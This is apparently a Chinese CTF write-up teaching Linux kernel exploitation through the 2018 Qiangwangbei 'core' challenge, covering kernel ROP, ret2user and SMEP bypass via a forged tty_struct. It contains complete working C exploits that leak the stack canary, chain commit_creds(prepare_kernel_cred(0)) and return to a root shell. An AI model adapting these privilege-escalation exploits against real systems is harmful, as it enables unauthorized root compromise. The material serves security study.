内核态的 ROP
和用户态的思路和做法是一样的,都是利用 gadget
来不断控制执行流,进行任意的函数调用。不过获取基地址还有搜索 gadget
等一些小细节发生了变化,但思想不变,所以理解起来应该还是很快的
kernel-ROP
例题是 2018强网杯 pwn-core
代码分析
发现 ioctl
函数中可以控制 off
这个全局变量(如下)
core_read
函数,存在数组索引溢出的漏洞, off
我们可控,且程序没有做任何检查,v5
是在栈中,因此配合 copy_to_user
函数可以泄露栈中的任意数据,这里考虑来泄露 canary
以便后面的 rop
执行。
通过分析 off
为 0x40
的时候&v5[off]
正好指向了 canary
的位置(这里就是 PWN
手的基本技能,所以不再赘述),copy_to_user
会将内核中的数据 copy
到用户空间中,也就是赋值给了 a1
。
core_copy_func
函数中存在一个强转的漏洞(如下),将 __int64
类型的 a1
,强转为了 unsigned __int16
类型,如果我们将 a1
设置为 0xffffffffffff0000 | (0xd0)
,就可以在绕过 if(a1 > 63)
检查的情况下执行 qmemcpy
函数完成栈溢出
不过上面这里只是能控制 a1
这个字节数,想要 ROP
还需要控制 name
数组中的数据。
通过查看 core_write
函数,发现这里可以直接控制 name
数组中的内容,如此任意读和任意写都有了,就可以开始我们的 kernel-ROP
利用过程
因为程序开了 canary
,所以 ROP
之前需要先进行泄露 canary
泄露 canary
所以泄露 canary
的部分 exp
如下:
#include<stdio.h> #include<fcntl.h> #include <unistd.h> int main() { size_t canary=0; size_t buf[0x80]; int fd=open("/proc/core",O_RDWR); printf("core fd is %d\n",fd); ioctl(fd,0x6677889C,0x40); ioctl(fd,0x6677889B,&buf); canary=(size_t)(buf[0]); printf("canary is %p\n",canary); return 0; }
|
这里一定要注意,从内核 copy
过来的数据有 64
个字节,而不是只有 canary
,当时程序就定义了一个 int
类型的变量 canary
传入了地址进行接收,结果直接报错(原因是破坏了用户程序的 canary
)
获取函数的真实地址
size_t commit_creds = 0,prepare_kernel_cred = 0,vmlinux_base = 0; size_t find_symbols(){ FILE* kallsyms_fd = fopen("/tmp/kallsyms","r"); if(kallsyms_fd < 0){ puts("[*]open kallsyms error!"); exit(0); }
char buf[0x30] = {0}; while(fgets(buf,0x30,kallsyms_fd)){ if(commit_creds & prepare_kernel_cred) return 0; if(strstr(buf,"commit_creds") && !commit_creds){ char hex[20] = {0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&commit_creds); printf("commit_creds addr: %p\n",commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n",vmlinux_base); } if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){ char hex[20] = {0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; } }
if(!commit_creds & !prepare_kernel_cred){ puts("[*]read kallsyms error!"); exit(0); } }
|
从 /proc/kallsyms
文件中可以获取任意一个函数的真实地址,本题的 init
文件中将 /proc/kallsyms
文件 copy
了一份叫做 /tmp/kallsyms
,读取该文件,即可得到函数的真实地址,但如果想获取 vmlinux
中的基地址,我们还需要拿到函数在 vmlinux
中的偏移。
获取vmlinux中的函数偏移
因为开了 KASLR
,所以函数的真实地址需要获取基地址和函数偏移才行。
使用 readelf -s vmlinux | grep vuln
获取其地址(如下)
然后再用 checksec
命令来获取基地址(如下)
得到 prepare_kernel_cred
的偏移为 0x9cce0
, commit_creds
函数的偏移为 0x9c8e0
把这些偏移写回到上面的脚本即可,之所以要拿到 vmlinux
的基地址是因为后续的 gadget
偏移需要加上基地址才能得到 gadget
的真实地址。
获取 gadget
如下方法查看 gadget
会比较方便
ROPgadget --binary vmlinux > ropgadget grep ': pop rdi ; ret' ropgadget
|
或者用 vscode
打开 ropgadget
文件, ctrl+f
来搜索也可以
找到的 gadget
需要先减去 vmlinux
的基地址得到 gadget
的偏移
最后在 exp
中,一个 gadget
的真实地址应该是 vmlinux_base
加上其偏移
ROP
链的布置
我们最后希望用 ROP
来执行 commit_creds(prepare_kernel_cred(0))
,prepare_kernel_cred(0)
会返回一个 root
权限的 cred
结构体指针,而 commit_creds
函数可以将该结构体指针作用于当前进程,接着我们返回用户态,去执行一个 system("/bin/sh")
便可以稳定的以 root
权限执行命令了。
正常情况下,我们需要用 pop rdi ; ret
这个 gadget
来控制 prepare_kernel_cred
函数的参数,我们也可以成功搜到这个 gadget
,但问题在于没有 mov rdi,rax ; ret
这个 gadget
来传递给 commit_creds
函数参数,通过搜索发现具有一个 mov rdi, rax ; jmp rdx
这个 gadget
,并且存在 pop rdx ; ret
来控制 rdx
,因此 rop
链的布置如下:
size_t rop[0x400]={0}; int i=0; for(i=0;i<8;i++) { rop[i]=0; } rop[i++]=canary; rop[i++]=0xdeadbeefdeadbeef; rop[i++]=vmlinux_base+0xb2f; rop[i++]=0; rop[i++]=prepare_kernel_cred;
rop[i++]=vmlinux_base+0xa0f49; rop[i++]=commit_creds; rop[i++]=vmlinux_base+0x6a6d2;
|
此时 commit_creds(prepare_kernel_cred(0))
执行完毕,但需要来稳固程序,因为在内核态栈溢出后,栈中的一些数据被损坏,其中包括了用户态的状态信息,一旦损失了这些信息,重新切换到用户态时系统就会崩溃。所以我们要在攻击之前先保存一下状态信息,将其构造在内核栈中,最后返回的时候就是正常的。
系统权限分为内核态和用户态,分离的实现是 swapgs
指令,该指令将 gs
寄存器的值与 IA32_KERNEL_GS_BASE MSR
地址中的值交换。内核态常规操作(如系统调用)的入口处,执行 swapgs
指令获得指向内核数据结构的指针,那么对应的, 从内核态退出,返回到用户态时也需执行一下 swapgs
iretq
指令用来恢复用户空间,它会从栈中弹出已经保存的 RIP
CS
RFLAGS
RSP
SS
恢复之前的执行环境,所以最后执行 iretq
指令,恢复最开始保存的寄存器值即可。
所以 ROP
链的部分为
size_t rop[0x400]={0}; int i=0; for(i=0;i<8;i++) { rop[i]=0; } rop[i++]=canary; rop[i++]=0xdeadbeefdeadbeef; rop[i++]=vmlinux_base+0xb2f; rop[i++]=0; rop[i++]=prepare_kernel_cred;
rop[i++]=vmlinux_base+0xa0f49; rop[i++]=commit_creds; rop[i++]=vmlinux_base+0x6a6d2;
rop[i++]=vmlinux_base+0xa012da; rop[i++]=0; rop[i++] = vmlinux_base + 0x50ac2; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
|
下面两张图片是 iretq
指令执行前后的情况,可以看到已经从内核态切换到了用户态(如下)
因为 RIP
设置的是用户态中 system("/bin/sh")
的地址,因此开启了新的 root shell
(如下)
EXP
#include<stdio.h> #include<fcntl.h> #include <unistd.h> #include<sys/types.h> #include<sys/stat.h> size_t commit_creds = 0,prepare_kernel_cred = 0,vmlinux_base = 0;
size_t find_symbols(){ FILE* kallsyms_fd = fopen("/tmp/kallsyms","r"); if(kallsyms_fd < 0){ puts("[*]open kallsyms error!"); exit(0); }
char buf[0x30] = {0}; while(fgets(buf,0x30,kallsyms_fd)){ if(commit_creds & prepare_kernel_cred) return 0; if(strstr(buf,"commit_creds") && !commit_creds){ char hex[20] = {0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&commit_creds); printf("commit_creds addr: %p\n",commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n",vmlinux_base); } if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){ char hex[20] = {0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; } }
if(!commit_creds & !prepare_kernel_cred){ puts("[*]read kallsyms error!"); exit(0); } }
size_t user_rflags,user_ss,user_cs,user_sp; void save_stats(){ asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp) : : "memory" ); puts("[*]status has been saved."); }
void get_shell() { puts("[*] get shell successfully!"); system("/bin/sh"); }
int main() { size_t canary=0; size_t buf[0x80]; save_stats(); int fd=open("/proc/core",O_RDWR); printf("core fd is %d\n",fd);
ioctl(fd,0x6677889C,0x40); ioctl(fd,0x6677889B,&buf); canary=(size_t)(buf[0]); printf("canary is %p\n",canary); find_symbols();
size_t rop[0x400]={0}; int i=0; for(i=0;i<8;i++) { rop[i]=0; } rop[i++]=canary; rop[i++]=0xdeadbeefdeadbeef; rop[i++]=vmlinux_base+0xb2f; rop[i++]=0; rop[i++]=prepare_kernel_cred;
rop[i++]=vmlinux_base+0xa0f49; rop[i++]=commit_creds; rop[i++]=vmlinux_base+0x6a6d2; rop[i++]=vmlinux_base+0xa012da; rop[i++]=0; rop[i++] = vmlinux_base + 0x50ac2; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
write(fd,rop,0x400); ioctl(fd,0x6677889A,0xffffffffffff0000 | (0xd0)); return 0; }
|
ret2user
ret2user
和上面的 ROP
非常相似(毕竟本质上还是 ROP
),给我的感觉是 ret2user
在控制参数方面有很大的优势,它是将执行流返回到了用户态中布置的函数上,虽然执行的函数是位于内核空间,但因为我们的权限是 ring 0
,因此依然可以正常运行。其根本原因是因为内核空间可以访问用户空间的进程(反之则不行),以内核的权限执行用户空间的代码完成提权(前提是没有开启 SMEP
保护)
EXP
#include<stdio.h> #include<fcntl.h> #include <unistd.h> #include<sys/types.h> #include<sys/stat.h> size_t commit_creds = 0,prepare_kernel_cred = 0,vmlinux_base = 0;
size_t find_symbols(){ FILE* kallsyms_fd = fopen("/tmp/kallsyms","r"); if(kallsyms_fd < 0){ puts("[*]open kallsyms error!"); exit(0); } char buf[0x30] = {0}; while(fgets(buf,0x30,kallsyms_fd)){ if(commit_creds & prepare_kernel_cred) return 0; if(strstr(buf,"commit_creds") && !commit_creds){ char hex[20] = {0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&commit_creds); printf("commit_creds addr: %p\n",commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n",vmlinux_base); } if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){ char hex[20] = {0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; } }
if(!commit_creds & !prepare_kernel_cred){ puts("[*]read kallsyms error!"); exit(0); } }
size_t user_rflags,user_ss,user_cs,user_sp; void save_stats(){ asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp) : : "memory" ); puts("[*]status has been saved."); puts("[*] ret2user [*]"); }
void get_shell() { puts("[*] get shell successfully!"); system("/bin/sh"); }
void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); }
int main() { size_t canary=0; size_t buf[0x80]; save_stats(); int fd=open("/proc/core",O_RDWR); printf("core fd is %d\n",fd);
ioctl(fd,0x6677889C,0x40); ioctl(fd,0x6677889B,&buf); canary=(size_t)(buf[0]); printf("canary is %p\n",canary); find_symbols();
size_t rop[0x400]={0}; int i=0; for(i=0;i<8;i++) { rop[i]=0; } rop[i++]=canary; rop[i++]=0xdeadbeefdeadbeef; rop[i++]=(size_t)get_root; rop[i++]=vmlinux_base+0xa012da; rop[i++]=0; rop[i++] = vmlinux_base + 0x50ac2; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
write(fd,rop,0x400); ioctl(fd,0x6677889A,0xffffffffffff0000 | (0xd0)); return 0; }
|
这两份 EXP
其实很像,只有执行 commit_creds(prepare_kernel_cred(0))
函数的部分不一样(如下)
void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); }
|
但有意思的是,无法在此处执行用户态的函数,因为我调用了 puts
函数,发现内核崩溃了,我认为其原因是状态寄存器没有进行切换所导致的,因此还得再回到内核中去恢复状态寄存器的值,最终执行用户态中的 system("/bin/sh")
bypass-SMEP
前置知识
SMEP
全称 Supervisor Mode Execution Protection
,当 CPU
处于 ring0
模式时执行用户空间的代码会触发页错误(该防御机制会将页表中的用户空间内存页标记为不可执行),目的是为了防止 ret2user
。在启动时, -cpu
选项下加入 +smep
启用该防御机制,在 -append
选项下加入 nosmep
禁用该机制。
系统会根据 CR4
寄存器中第二十位的值来判断 SMEP
保护是否开启( 1
为开启,0
为关闭 )
在打开 /dev/ptmx
设备时,会分配一个 tty_struct
结构体,定义如下:
struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios, termios_locked; struct termiox *termiox; char name[64]; struct pid *pgrp; struct pid *session; unsigned long flags; int count; struct winsize winsize; unsigned long stopped:1, flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
|
其中关注的是 const struct tty_operations *ops
指针,该指针指向了结构体 tty_operations
(定义如下)
struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
|
如果能劫持掉上面的指针,在对 /dev/ptmx
文件进行 write
或者 read
等操作时就可以跳转我们指定的函数指针执行,有点类似于 FSOP
利用思路
在劫持的位置先进行第一次迁移,rax
正好是 fake_tty_operation
的地址,于是,我们把栈转移到 fake_tty_operations
里,此处是可以放一少部分 gadget
,用这部分进行第二次迁移,迁移到堆块中的 rop
链上,用 mov cr4,rdi
这个 gadget
来改变 cr4
寄存器的值从而绕过 SMEP
保护,随后打一个 ret2user
即可完成提权。
此处的 EXP
用的是 ha1vk 师傅的,因为这题已经做过了,并且 ha1vk
师傅写的也很详细,再写一遍也没有什么大的改变
EXP
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h>
#define TTY_STRUCT_SIZE 0x2E0
#define MOV_CR4_RDI 0xffffffff81004d80
#define POP_RDI 0xffffffff810d238d
#define SWAPGS 0xffffffff81063694
#define IRETQ 0xFFFFFFFF8181A797
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define MOV_RSP_RAX 0xFFFFFFFF8181BFC5 #define POP_RAX 0xffffffff8100ce6e void getRoot() { void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED; void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS; (*cc)((*pkc)(0)); } void getShell() { if (getuid() == 0) { printf("[+]Rooted!!\n"); system("/bin/sh"); } else { printf("[+]Root Fail!!\n"); } } size_t user_cs,user_ss,user_flags,user_sp;
void saveUserState() { __asm__("mov %cs,user_cs;" "mov %ss,user_ss;" "mov %rsp,user_sp;" "pushf;" "pop user_flags;" ); puts("user states have been saved!!"); }
int main() { saveUserState(); int fd1 = open("/dev/babydev",O_RDWR); int fd2 = open("/dev/babydev",O_RDWR); if (fd1 < 0 || fd2 < 0) { printf("open file error!!\n"); exit(-1); } ioctl(fd1,0x10001,TTY_STRUCT_SIZE); close(fd1); size_t rop[0x100]; int i = 0; rop[i++] = POP_RDI; rop[i++] = 0x6f0; rop[i++] = MOV_CR4_RDI; rop[i++] = 0; rop[i++] = (size_t)getRoot; rop[i++] = SWAPGS; rop[i++] = 0; rop[i++] = IRETQ; rop[i++] = (size_t)getShell; rop[i++] = user_cs; rop[i++] = user_flags; rop[i++] = user_sp; rop[i++] = user_ss;
size_t fake_tty_operations[35];
fake_tty_operations[7] = MOV_RSP_RAX; fake_tty_operations[0] = POP_RAX; fake_tty_operations[1] = (size_t)rop; fake_tty_operations[2] = MOV_RSP_RAX; size_t fake_tty_struct[4]; int fd_tty = open("/dev/ptmx", O_RDWR); read(fd2,fake_tty_struct,4*8); fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2,fake_tty_struct,4*8); char buf[0x10]; write(fd_tty,buf,0x10); return 0; }
|
参考文章
Kernel pwn 基础教程之 ret2usr 与 bypass_smep - SecPulse.COM | 安全脉搏
(47条消息) Linux Kernel Exploit 内核漏洞学习(3)-Bypass-Smep_钞sir的博客-CSDN博客
(47条消息) linux kernel pwn学习之伪造tty_struct执行任意函数_ha1vk的博客-CSDN博客
(47条消息) Linux Kernel Exploit 内核漏洞学习(2)-ROP_钞sir的博客-CSDN博客
Kernel Pwn从入门到放弃 | Ama2in9
2018强网杯 core | X3h1n